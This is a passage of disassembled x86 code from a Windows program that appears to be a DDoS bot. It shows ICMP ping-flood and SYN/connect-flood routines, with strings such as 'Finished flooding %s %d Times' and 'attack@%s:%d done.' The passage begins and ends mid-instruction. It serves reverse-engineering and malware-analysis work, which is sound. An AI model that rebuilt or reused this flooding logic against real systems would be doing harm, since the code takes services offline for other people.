edi pop esi pop edi retn sub_4258E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_425980 proc near ; CODE XREF: sub_401609j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_425980 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_425980 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+60h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 add esi, 8Eh push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_425BD0: ; CODE XREF: ___:loc_401B6Dj push 0FFFFFFFFh push offset loc_43B6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014D3 push eax mov ecx, ebp call sub_4012EE mov edi, dword_50FB08 test eax, eax jnz loc_425D68 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_425C3B mov ecx, eax call sub_401DD9 mov ebp, eax loc_425C3B: ; CODE XREF: ___:00425C30j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FBE mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013D4 mov ebp, [esp+54h] loc_425D68: ; CODE XREF: ___:00425C11j lea ecx, [ebx+8Eh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_425EDA push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_425DAB mov ecx, eax call sub_401BC7 mov ebp, eax jmp short loc_425DAD ; --------------------------------------------------------------------------- loc_425DAB: ; CODE XREF: ___:00425D9Ej xor ebp, ebp loc_425DAD: ; CODE XREF: ___:00425DA9j push offset asc_443600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_425EDA: ; CODE XREF: ___:00425D7Dj lea ecx, [ebx+4] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_426049 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_425F1A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_425F1C ; --------------------------------------------------------------------------- loc_425F1A: ; CODE XREF: ___:00425F0Dj xor ebp, ebp loc_425F1C: ; CODE XREF: ___:00425F18j push offset asc_443600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FBE mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013D4 mov ebp, [esp+54h] loc_426049: ; CODE XREF: ___:00425EECj lea ecx, [ebx+32h] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4261F4 push 95h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_426089 mov ecx, eax call sub_401785 mov ebp, eax jmp short loc_42608B ; --------------------------------------------------------------------------- loc_426089: ; CODE XREF: ___:0042607Cj xor ebp, ebp loc_42608B: ; CODE XREF: ___:00426087j push offset asc_443600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016AE push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FBE lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_443600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017E4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FBE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013D4 mov ebp, [esp+54h] loc_4261F4: ; CODE XREF: ___:0042605Bj lea ecx, [ebx+0EAh] call sub_4014D3 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_426211 mov [ebx+11Ch], al loc_426211: ; CODE XREF: ___:00426209j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4263D0 proc near ; CODE XREF: sub_401A64j var_4 = dword ptr -4 push ecx mov edx, dword_447A44 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4263F1 inc ecx mov [eax+118h], ecx loc_4263F1: ; CODE XREF: sub_4263D0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E6EDB call sub_40120D sub_4263D0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426450 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426450 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0DC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426450 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4264C0 proc near ; CODE XREF: sub_401F7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4264C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4264C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_4014C4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426560 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_426560 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_426620: ; CODE XREF: ___:loc_4016D1j ; ___:0040217Bj push esi mov esi, ecx call sub_4014C4 test byte ptr [esp+8], 1 jz short loc_426638 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426638: ; CODE XREF: ___:0042662Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426650 proc near ; CODE XREF: sub_4011FEj ___:00402081j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402090 test [esp+4+arg_0], 1 jz short loc_426668 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426668: ; CODE XREF: sub_426650+Dj mov eax, esi pop esi retn 4 sub_426650 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426680 proc near ; CODE XREF: sub_402090j jmp sub_4014C4 sub_426680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266A0 proc near ; CODE XREF: sub_401A41j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4266A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_40182F add esp, 10h test eax, eax jz short loc_426764 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_42677E ; --------------------------------------------------------------------------- loc_426764: ; CODE XREF: sub_4266A0+9Aj mov ecx, ebx call sub_4017E4 push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_42677E: ; CODE XREF: sub_4266A0+C2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_4266A0 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426820 proc near ; CODE XREF: sub_401E7Ej var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_436840 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27C07DCh mov esi, eax test esi, esi jz short loc_42688A mov edi, dword_50F8A0 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_50E150, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_50E154, eax call edi mov ecx, dword_50E150 mov dword_50E14C, eax test ecx, ecx jz short loc_42688A mov edx, dword_50E154 test edx, edx jz short loc_42688A test eax, eax jz short loc_42688A mov al, [esp+0Bh] test al, al jz short loc_426895 loc_42688A: ; CODE XREF: sub_426820+1Bj ; sub_426820+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_426895: ; CODE XREF: sub_426820+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_4268AC mov [esp+24h+arg_FFE8], eax loc_4268AC: ; CODE XREF: sub_426820+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_4268BF mov ebp, 1 loc_4268BF: ; CODE XREF: sub_426820+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_426904 loc_4268D0: ; CODE XREF: sub_426820+E2j mov al, byte_4D64F9 test al, al jz short loc_426904 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_50E14C ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_4268D0 loc_426904: ; CODE XREF: sub_426820+AEj ; sub_426820+B7j push edi call dword_50E154 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_426820 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426960 proc near ; CODE XREF: sub_40182Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40187F mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E7E add esp, 14h retn sub_426960 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401BC7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4269A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E0FC call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_426A10: ; CODE XREF: ___:00401A19j ; ___:loc_401AAFj push esi mov esi, ecx call sub_4017FD test byte ptr [esp+8], 1 jz short loc_426A28 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426A28: ; CODE XREF: ___:00426A1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426A40 proc near ; CODE XREF: sub_4017FDj jmp sub_4014C4 sub_426A40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A60 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426A60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E5DCF mov [esp+2Ch+var_28], eax loc_426A86: ; CODE XREF: sub_426A60+35j cmp dword ptr [ecx], 0 jz short loc_426A97 add ecx, 78h inc eax cmp ecx, offset byte_4E672F jl short loc_426A86 loc_426A97: ; CODE XREF: sub_426A60+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_426C49 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E5D5Bh[eax*8] call sub_4017E4 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx call near ptr 71AB2B66h nop and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_426B00 mov dword ptr [ebp+68h], 5 loc_426B00: ; CODE XREF: sub_426A60+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_50E15C mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_50E35C push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 276085Eh test eax, eax mov dword_50E360, eax jz short loc_426B9B push offset dword_446F74 push 5 push eax push 0 push offset dword_50E15C call sub_4013E8 add esp, 14h mov [ebp+70h], eax jmp short loc_426BCB ; --------------------------------------------------------------------------- loc_426B9B: ; CODE XREF: sub_426A60+11Dj mov ecx, esi call sub_4017E4 push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_426BCB: ; CODE XREF: sub_426A60+139j lea ecx, [esp+38h+var_24] call sub_401424 mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017E4 push eax push offset aS ; "%s" mov ecx, edi call sub_4014D3 mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_426C49: ; CODE XREF: sub_426A60+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_426A60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426CE0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E5D5Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_426D76 push ebp nop call near ptr 71AB4FD4h xor edx, edx cmp eax, edx jnz short loc_426D6F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D6775[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_426D6F: ; CODE XREF: sub_426CE0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_426D76: ; CODE XREF: sub_426CE0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_426E26 mov ebx, dword_50FC30 loc_426D95: ; CODE XREF: sub_426CE0+140j mov al, byte_4D64F9 test al, al jz loc_426E26 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DAB: ; CODE XREF: sub_426CE0+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_426DCB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_426DCB: ; CODE XREF: sub_426CE0+D8j add esi, 4 dec edi jnz short loc_426DAB lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426DDA: ; CODE XREF: sub_426CE0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax nop call near ptr 71AB406Ah add esi, 4 dec edi jnz short loc_426DDA mov ecx, [ebp+68h] push ecx nop call near ptr 2811D0Bh lea esi, [esp+348h+var_320] mov edi, 0C8h loc_426E03: ; CODE XREF: sub_426CE0+130j mov edx, [esi] push edx nop call near ptr 71AB9639h add esi, 4 dec edi jnz short loc_426E03 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_426D95 loc_426E26: ; CODE XREF: sub_426CE0+A9j ; sub_426CE0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, 